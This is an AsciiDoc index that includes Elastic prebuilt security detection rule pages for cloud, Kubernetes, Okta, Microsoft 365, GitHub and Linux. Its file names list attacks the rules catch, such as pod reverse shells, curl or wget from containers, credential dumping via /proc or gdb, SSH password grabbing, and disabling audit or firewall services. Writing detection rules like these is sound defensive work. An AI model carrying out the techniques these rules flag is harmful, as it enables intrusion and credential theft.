+include::prebuilt-rule-8-19-34-memory-threat-prevented-elastic-defend.asciidoc[] +include::prebuilt-rule-8-19-34-endpoint-security-elastic-defend.asciidoc[] +include::prebuilt-rule-8-19-34-behavior-detected-elastic-defend.asciidoc[] +include::prebuilt-rule-8-19-34-behavior-prevented-elastic-defend.asciidoc[] +include::prebuilt-rule-8-19-34-malicious-file-detected-elastic-defend.asciidoc[] +include::prebuilt-rule-8-19-34-malicious-file-prevented-elastic-defend.asciidoc[] +include::prebuilt-rule-8-19-34-ransomware-detected-elastic-defend.asciidoc[] +include::prebuilt-rule-8-19-34-ransomware-prevented-elastic-defend.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-phishing-kit-default-os-build-entity-analytics.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-device-with-roadtools-default-os-build-entity-analytics.asciidoc[] +include::prebuilt-rule-8-19-34-potential-persistence-via-file-modification.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-pub-sub-subscription-creation.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-pub-sub-topic-creation.asciidoc[] +include::prebuilt-rule-8-19-34-gke-pod-exec-cloud-instance-metadata-access.asciidoc[] +include::prebuilt-rule-8-19-34-gke-pod-exec-sensitive-file-or-credential-path-access.asciidoc[] +include::prebuilt-rule-8-19-34-gke-rapid-secret-get-activity-against-multiple-objects.asciidoc[] +include::prebuilt-rule-8-19-34-gke-secret-access-from-node-or-denied-service-account.asciidoc[] +include::prebuilt-rule-8-19-34-gke-secret-get-or-list-with-suspicious-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-gke-secret-access-via-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-gke-secrets-list-from-unusual-source-as-organization.asciidoc[] +include::prebuilt-rule-8-19-34-gke-unusual-service-account-secret-access-via-new-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-firewall-rule-creation.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-firewall-rule-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-firewall-rule-modification.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-logging-bucket-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-logging-sink-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-pub-sub-subscription-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-pub-sub-topic-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-storage-bucket-configuration-modification.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-storage-bucket-permissions-modification.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-virtual-private-cloud-network-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-virtual-private-cloud-route-creation.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-virtual-private-cloud-route-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-gke-anonymous-endpoint-permission-enumeration.asciidoc[] +include::prebuilt-rule-8-19-34-gke-api-request-failure-burst-by-user.asciidoc[] +include::prebuilt-rule-8-19-34-gke-endpoint-permission-enumeration.asciidoc[] +include::prebuilt-rule-8-19-34-gke-multi-resource-discovery.asciidoc[] +include::prebuilt-rule-8-19-34-gke-suspicious-self-subject-review-via-service-account.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-secret-manager-listsecrets-across-multiple-projects.asciidoc[] +include::prebuilt-rule-8-19-34-gke-anonymous-pod-create-update-patch.asciidoc[] +include::prebuilt-rule-8-19-34-gke-forbidden-creation-request.asciidoc[] +include::prebuilt-rule-8-19-34-gke-forbidden-request-from-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-gke-pod-exec-with-curl-or-wget-to-https.asciidoc[] +include::prebuilt-rule-8-19-34-gke-pod-exec-potential-reverse-shell.asciidoc[] +include::prebuilt-rule-8-19-34-gke-user-exec-into-pod.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-logging-sink-modification.asciidoc[] +include::prebuilt-rule-8-19-34-gke-coredns-or-kube-dns-configuration-modified.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-iam-role-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-service-account-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-service-account-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-storage-bucket-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-gke-anonymous-request-authorized-by-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-iam-custom-role-creation.asciidoc[] +include::prebuilt-rule-8-19-34-gke-admission-webhook-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-34-gke-certificate-signing-request-self-approved.asciidoc[] +include::prebuilt-rule-8-19-34-gke-client-certificate-signing-request-created-or-approved.asciidoc[] +include::prebuilt-rule-8-19-34-gke-cluster-admin-role-binding-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-34-gke-exposed-service-created-with-type-nodeport.asciidoc[] +include::prebuilt-rule-8-19-34-gke-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc[] +include::prebuilt-rule-8-19-34-gke-creation-or-modification-of-sensitive-role.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-iam-service-account-key-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-service-account-key-creation.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-service-account-creation.asciidoc[] +include::prebuilt-rule-8-19-34-gcp-iam-service-account-impersonation-role-granted.asciidoc[] +include::prebuilt-rule-8-19-34-gke-api-server-proxying-request-to-kubelet.asciidoc[] +include::prebuilt-rule-8-19-34-gke-api-request-impersonating-privileged-identity.asciidoc[] +include::prebuilt-rule-8-19-34-gke-certificate-signing-request-api-client-signer-requested.asciidoc[] +include::prebuilt-rule-8-19-34-gke-ephemeral-container-added-to-pod.asciidoc[] +include::prebuilt-rule-8-19-34-gke-container-created-with-excessive-linux-capabilities.asciidoc[] +include::prebuilt-rule-8-19-34-gke-pod-created-with-hostipc.asciidoc[] +include::prebuilt-rule-8-19-34-gke-pod-created-with-hostnetwork.asciidoc[] +include::prebuilt-rule-8-19-34-gke-pod-created-with-hostpid.asciidoc[] +include::prebuilt-rule-8-19-34-gke-privileged-pod-created.asciidoc[] +include::prebuilt-rule-8-19-34-gke-rbac-wildcard-elevation-on-existing-role.asciidoc[] +include::prebuilt-rule-8-19-34-gke-pod-created-with-a-sensitive-hostpath-volume.asciidoc[] +include::prebuilt-rule-8-19-34-gke-sensitive-rbac-change-followed-by-workload-modification.asciidoc[] +include::prebuilt-rule-8-19-34-gke-service-account-modified-rbac-objects.asciidoc[] +include::prebuilt-rule-8-19-34-gke-suspicious-assignment-of-controller-service-account.asciidoc[] +include::prebuilt-rule-8-19-34-gke-unusual-sensitive-workload-modification.asciidoc[] +include::prebuilt-rule-8-19-34-github-protected-branch-settings-changed.asciidoc[] +include::prebuilt-rule-8-19-34-github-secret-scanning-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-github-app-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-high-number-of-cloned-github-repos-from-pat.asciidoc[] +include::prebuilt-rule-8-19-34-github-ueba-multiple-alerts-from-a-github-account.asciidoc[] +include::prebuilt-rule-8-19-34-new-github-app-installed.asciidoc[] +include::prebuilt-rule-8-19-34-github-private-repository-turned-public.asciidoc[] +include::prebuilt-rule-8-19-34-github-exfiltration-via-high-number-of-repository-clones-by-user.asciidoc[] +include::prebuilt-rule-8-19-34-github-activity-on-a-private-repository-from-an-unusual-ip.asciidoc[] +include::prebuilt-rule-8-19-34-github-repository-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-high-number-of-closed-pull-requests-by-user.asciidoc[] +include::prebuilt-rule-8-19-34-several-failed-protected-branch-force-pushes-by-user.asciidoc[] +include::prebuilt-rule-8-19-34-github-actions-unusual-bot-push-to-repository.asciidoc[] +include::prebuilt-rule-8-19-34-github-actions-workflow-modification-blocked.asciidoc[] +include::prebuilt-rule-8-19-34-new-github-self-hosted-action-runner.asciidoc[] +include::prebuilt-rule-8-19-34-new-github-owner-added.asciidoc[] +include::prebuilt-rule-8-19-34-new-github-personal-access-token-pat-added.asciidoc[] +include::prebuilt-rule-8-19-34-github-owner-role-granted-to-user.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-drive-data-transfer-or-takeout-export-initiated.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-gmail-routing-or-forwarding-rule-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user.asciidoc[] +include::prebuilt-rule-8-19-34-application-removed-from-blocklist-in-google-workspace.asciidoc[] +include::prebuilt-rule-8-19-34-domain-added-to-google-workspace-trusted-domains.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-bitlocker-setting-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-seen-google-workspace-oauth-login-from-third-party-application.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app.asciidoc[] +include::prebuilt-rule-8-19-34-forwarded-google-workspace-security-alert.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-admin-role-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-mfa-enforcement-disabled-for-organization.asciidoc[] +include::prebuilt-rule-8-19-34-external-user-added-to-google-workspace-group.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-user-login-with-unusual-asn.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-suspended-user-account-renewed.asciidoc[] +include::prebuilt-rule-8-19-34-application-added-to-google-workspace-domain.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-2sv-policy-disabled-by-user.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-admin-role-assigned-to-a-user-or-group.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-custom-admin-role-created.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-device-registration-after-oauth-from-suspicious-asn.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-user-sign-in-from-atypical-device-type.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-device-registration-burst-for-single-user.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-password-policy-modified.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-role-modified.asciidoc[] +include::prebuilt-rule-8-19-34-google-workspace-user-organizational-unit-changed.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-secret-or-configmap-access-via-azure-arc-proxy.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-secret-access-via-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-rapid-secret-get-activity-against-multiple-objects.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-pod-exec-cloud-instance-metadata-access.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-pod-exec-sensitive-file-or-credential-path-access.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-secret-get-or-list-with-suspicious-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-secret-get-or-list-from-node-or-pod-service-account.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-secrets-list-across-cluster-or-sensitive-namespaces.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-service-account-token-created-via-tokenrequest-api.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-events-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-potential-endpoint-permission-enumeration-attempt-by-anonymous-user-detected.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-potential-endpoint-permission-enumeration-attempt-detected.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-multi-resource-discovery.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-suspicious-self-subject-review-via-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-anonymous-user-create-update-patch-pods-request.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-forbidden-creation-request.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-forbidden-request-from-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-pod-exec-with-curl-or-wget-to-https.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-pod-exec-potential-reverse-shell.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-user-exec-into-pod.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-coredns-or-kube-dns-configuration-modified.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-anonymous-request-authorized-by-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-cluster-admin-role-binding-created.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-exposed-service-created-with-type-nodeport.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-admission-webhook-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-client-certificate-signing-request-created-or-approved.asciidoc[] +include::prebuilt-rule-8-19-34-eks-authentication-configuration-modified.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-creation-or-modification-of-sensitive-role.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-api-server-proxying-request-to-kubelet.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-container-created-with-excessive-linux-capabilities.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-api-request-impersonating-privileged-identity.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-ephemeral-container-added-to-pod.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostipc.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostnetwork.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostpid.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-pod-created-with-a-sensitive-hostpath-volume.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-privileged-pod-created.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-rbac-wildcard-elevation-on-existing-role.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-sensitive-rbac-change-followed-by-workload-modification.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-kubernetes-sensitive-workload-modification.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-service-account-modified-rbac-objects.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-suspicious-assignment-of-controller-service-account.asciidoc[] +include::prebuilt-rule-8-19-34-potential-ssh-brute-force-detected-via-macos-security-events.asciidoc[] +include::prebuilt-rule-8-19-34-potential-successful-ssh-brute-force-attack-via-macos-security-events.asciidoc[] +include::prebuilt-rule-8-19-34-m365-azure-monitor-alert-email-with-financial-or-billing-theme.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-mailbox-items-accessed-excessively.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-mailbox-accessed-by-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-inbox-forwarding-rule-created.asciidoc[] +include::prebuilt-rule-8-19-34-m365-onedrive-sharepoint-excessive-file-downloads.asciidoc[] +include::prebuilt-rule-8-19-34-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-m365-identity-oauth-flow-by-user-sign-in-to-device-registration.asciidoc[] +include::prebuilt-rule-8-19-34-m365-identity-user-brute-force-attempted.asciidoc[] +include::prebuilt-rule-8-19-34-m365-identity-user-account-lockouts.asciidoc[] +include::prebuilt-rule-8-19-34-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-anti-phish-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-anti-phish-rule-modification.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-dkim-signing-configuration-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-deprecated-m365-exchange-dlp-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-email-safe-link-policy-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-inbox-rule-with-obfuscated-name.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-mailbox-audit-logging-bypass-added.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-malware-filter-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-malware-filter-rule-modified.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-email-safe-attachment-rule-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc[] +include::prebuilt-rule-8-19-34-m365-sharepoint-site-sharing-policy-weakened.asciidoc[] +include::prebuilt-rule-8-19-34-m365-teams-custom-application-interaction-enabled.asciidoc[] +include::prebuilt-rule-8-19-34-deprecated-m365-teams-external-access-enabled.asciidoc[] +include::prebuilt-rule-8-19-34-m365-sharepoint-search-for-sensitive-content.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-mail-flow-transport-rule-created.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-mail-flow-transport-rule-modified.asciidoc[] +include::prebuilt-rule-8-19-34-deprecated-m365-security-compliance-potential-ransomware-activity.asciidoc[] +include::prebuilt-rule-8-19-34-deprecated-m365-security-compliance-unusual-volume-of-file-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-m365-identity-login-from-atypical-region.asciidoc[] +include::prebuilt-rule-8-19-34-m365-identity-login-from-impossible-travel-location.asciidoc[] +include::prebuilt-rule-8-19-34-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc[] +include::prebuilt-rule-8-19-34-m365-identity-device-code-grant-with-unusual-user-and-asn.asciidoc[] +include::prebuilt-rule-8-19-34-m365-identity-device-code-grant-by-an-unusual-user-non-compliant-device.asciidoc[] +include::prebuilt-rule-8-19-34-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc[] +include::prebuilt-rule-8-19-34-m365-identity-oauth-ropc-grant-via-legacy-authentication-client.asciidoc[] +include::prebuilt-rule-8-19-34-m365-identity-unusual-sso-authentication-errors-for-user.asciidoc[] +include::prebuilt-rule-8-19-34-deprecated-m365-security-compliance-user-restricted-from-sending-email.asciidoc[] +include::prebuilt-rule-8-19-34-m365-teams-rogue-help-desk-chat-created.asciidoc[] +include::prebuilt-rule-8-19-34-m365-potential-aitm-userloggedin-via-office-app-tycoon2fa.asciidoc[] +include::prebuilt-rule-8-19-34-m365-onedrive-malware-file-upload.asciidoc[] +include::prebuilt-rule-8-19-34-m365-sharepoint-malware-file-detected.asciidoc[] +include::prebuilt-rule-8-19-34-m365-identity-global-administrator-role-assigned.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-management-group-role-assigned.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-mailbox-high-risk-permission-delegated.asciidoc[] +include::prebuilt-rule-8-19-34-deprecated-m365-teams-guest-access-enabled.asciidoc[] +include::prebuilt-rule-8-19-34-m365-exchange-federated-domain-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-34-m365-sharepoint-site-administrator-added.asciidoc[] +include::prebuilt-rule-8-19-34-attempted-bypass-of-okta-mfa.asciidoc[] +include::prebuilt-rule-8-19-34-attempts-to-brute-force-an-okta-user-account.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-device-token-hashes-for-single-okta-session.asciidoc[] +include::prebuilt-rule-8-19-34-okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc[] +include::prebuilt-rule-8-19-34-okta-aitm-session-cookie-replay.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc[] +include::prebuilt-rule-8-19-34-potential-okta-brute-force-device-token-rotation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-okta-brute-force-multi-source.asciidoc[] +include::prebuilt-rule-8-19-34-potential-okta-credential-stuffing-single-source.asciidoc[] +include::prebuilt-rule-8-19-34-potential-okta-mfa-bombing-via-push-notifications.asciidoc[] +include::prebuilt-rule-8-19-34-potential-okta-password-spray-multi-source.asciidoc[] +include::prebuilt-rule-8-19-34-potential-okta-password-spray-single-source.asciidoc[] +include::prebuilt-rule-8-19-34-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc[] +include::prebuilt-rule-8-19-34-okta-successful-login-after-credential-attack.asciidoc[] +include::prebuilt-rule-8-19-34-okta-user-session-impersonation.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-network-zone.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-delete-an-okta-network-zone.asciidoc[] +include::prebuilt-rule-8-19-34-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-policy.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-policy-rule.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-delete-an-okta-policy.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-delete-an-okta-policy-rule.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-modify-an-okta-network-zone.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-modify-an-okta-policy.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-modify-an-okta-policy-rule.asciidoc[] +include::prebuilt-rule-8-19-34-high-number-of-okta-user-password-reset-or-unlock-attempts.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-revoke-okta-api-token.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-application.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-delete-an-okta-application.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-modify-an-okta-application.asciidoc[] +include::prebuilt-rule-8-19-34-possible-okta-dos-attack.asciidoc[] +include::prebuilt-rule-8-19-34-first-occurrence-of-okta-user-session-started-via-proxy.asciidoc[] +include::prebuilt-rule-8-19-34-okta-fastpass-phishing-detection.asciidoc[] +include::prebuilt-rule-8-19-34-okta-alerts-following-unusual-proxy-authentication.asciidoc[] +include::prebuilt-rule-8-19-34-unauthorized-access-to-an-okta-application.asciidoc[] +include::prebuilt-rule-8-19-34-okta-user-sessions-started-from-different-geolocations.asciidoc[] +include::prebuilt-rule-8-19-34-okta-sign-in-events-via-third-party-idp.asciidoc[] +include::prebuilt-rule-8-19-34-successful-application-sso-from-rare-unknown-client-device.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-activity-reported-by-okta-user.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-okta-sessions-detected-for-a-single-user.asciidoc[] +include::prebuilt-rule-8-19-34-okta-threatinsight-threat-suspected-promotion.asciidoc[] +include::prebuilt-rule-8-19-34-administrator-privileges-assigned-to-an-okta-group.asciidoc[] +include::prebuilt-rule-8-19-34-okta-user-assigned-administrator-role.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-create-okta-api-token.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-reset-mfa-factors-for-an-okta-user-account.asciidoc[] +include::prebuilt-rule-8-19-34-mfa-deactivation-with-no-re-activation-for-okta-user-account.asciidoc[] +include::prebuilt-rule-8-19-34-new-okta-identity-provider-idp-added-by-admin.asciidoc[] +include::prebuilt-rule-8-19-34-modification-or-removal-of-an-okta-application-sign-on-policy.asciidoc[] +include::prebuilt-rule-8-19-34-stolen-credentials-used-to-login-to-okta-account-after-mfa-reset.asciidoc[] +include::prebuilt-rule-8-19-34-machine-learning-detected-a-suspicious-windows-event-with-a-high-malicious-probability-score.asciidoc[] +include::prebuilt-rule-8-19-34-machine-learning-detected-a-suspicious-windows-event-with-a-low-malicious-probability-score.asciidoc[] +include::prebuilt-rule-8-19-34-linux-clipboard-activity-detected.asciidoc[] +include::prebuilt-rule-8-19-34-linux-audio-recording-activity-detected.asciidoc[] +include::prebuilt-rule-8-19-34-linux-video-recording-or-screenshot-activity-detected.asciidoc[] +include::prebuilt-rule-8-19-34-curl-or-wget-execution-from-container-context.asciidoc[] +include::prebuilt-rule-8-19-34-aws-cli-command-with-custom-endpoint-url.asciidoc[] +include::prebuilt-rule-8-19-34-network-activity-detected-via-cat.asciidoc[] +include::prebuilt-rule-8-19-34-network-connection-by-cups-or-foomatic-rip-child.asciidoc[] +include::prebuilt-rule-8-19-34-curl-socks-proxy-activity-from-unusual-parent.asciidoc[] +include::prebuilt-rule-8-19-34-shell-execution-via-elastic-endpoint.asciidoc[] +include::prebuilt-rule-8-19-34-high-number-of-egress-network-connections-from-unusual-executable.asciidoc[] +include::prebuilt-rule-8-19-34-git-repository-or-file-download-to-suspicious-directory.asciidoc[] +include::prebuilt-rule-8-19-34-ipv4-ipv6-forwarding-activity.asciidoc[] +include::prebuilt-rule-8-19-34-potential-protocol-tunneling-via-chisel-client.asciidoc[] +include::prebuilt-rule-8-19-34-network-activity-detected-via-kworker.asciidoc[] +include::prebuilt-rule-8-19-34-proxychains-activity.asciidoc[] +include::prebuilt-rule-8-19-34-linux-ssh-x11-forwarding.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-utility-launched-via-proxychains.asciidoc[] +include::prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding.asciidoc[] +include::prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding-via-ssh-option.asciidoc[] +include::prebuilt-rule-8-19-34-network-connection-followed-by-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding-via-command-line.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-network-activity-to-the-internet-by-previously-unknown-executable.asciidoc[] +include::prebuilt-rule-8-19-34-linux-telegram-api-request.asciidoc[] +include::prebuilt-rule-8-19-34-potential-protocol-tunneling-via-earthworm.asciidoc[] +include::prebuilt-rule-8-19-34-sensitive-identity-file-open-by-suspicious-process-via-auditd.asciidoc[] +include::prebuilt-rule-8-19-34-aws-credentials-searched-for-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-34-azure-wireserver-openssl-certificate-decrypt-or-linuxtransport-generation.asciidoc[] +include::prebuilt-rule-8-19-34-sensitive-files-compression.asciidoc[] +include::prebuilt-rule-8-19-34-sensitive-files-compression-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-34-potential-linux-credential-dumping-via-unshadow.asciidoc[] +include::prebuilt-rule-8-19-34-linux-init-pid-1-secret-dump-via-gdb.asciidoc[] +include::prebuilt-rule-8-19-34-linux-process-hooking-via-gdb.asciidoc[] +include::prebuilt-rule-8-19-34-github-authentication-token-access-via-node-js.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-and-cloud-credential-path-access-via-process-arguments.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-service-account-secret-access.asciidoc[] +include::prebuilt-rule-8-19-34-manual-memory-dumping-via-proc-filesystem.asciidoc[] +include::prebuilt-rule-8-19-34-potential-linux-local-account-brute-force-detected.asciidoc[] +include::prebuilt-rule-8-19-34-potential-external-linux-ssh-brute-force-detected.asciidoc[] +include::prebuilt-rule-8-19-34-potential-internal-linux-ssh-brute-force-detected.asciidoc[] +include::prebuilt-rule-8-19-34-potential-password-spraying-attack-via-ssh.asciidoc[] +include::prebuilt-rule-8-19-34-potential-successful-ssh-brute-force-attack.asciidoc[] +include::prebuilt-rule-8-19-34-potential-linux-credential-dumping-via-proc-filesystem.asciidoc[] +include::prebuilt-rule-8-19-34-segfault-from-sensitive-process-detected.asciidoc[] +include::prebuilt-rule-8-19-34-sensitive-keys-or-passwords-searched-for-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-34-potential-openssh-backdoor-logging-activity.asciidoc[] +include::prebuilt-rule-8-19-34-potential-ssh-password-grabbing-via-strace.asciidoc[] +include::prebuilt-rule-8-19-34-access-control-list-modification-via-setfacl.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-write-attempt-to-apparmor-policy-management-files.asciidoc[] +include::prebuilt-rule-8-19-34-apparmor-policy-interface-access.asciidoc[] +include::prebuilt-rule-8-19-34-apparmor-policy-violation-detected.asciidoc[] +include::prebuilt-rule-8-19-34-apparmor-profile-compilation-via-apparmor-parser.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-disable-auditd-service.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-disable-iptables-or-firewall.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-disable-syslog-service.asciidoc[] +include::prebuilt-rule-8-19-34-ssh-authorized-keys-file-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-base16-or-base32-encoding-decoding-activity.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-base64-encoding-decoding-activity.asciidoc[] +include::prebuilt-rule-8-19-34-system-binary-moved-or-copied.asciidoc[] +include::prebuilt-rule-8-19-34-bpf-program-tampering-via-bpftool.asciidoc[] +include::prebuilt-rule-8-19-34-proxy-shell-execution-via-busybox.asciidoc[] +include::prebuilt-rule-8-19-34-file-made-immutable-by-chattr.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-clear-kernel-ring-buffer.asciidoc[] +include::prebuilt-rule-8-19-34-hidden-files-and-directories-via-hidden-flag.asciidoc[] 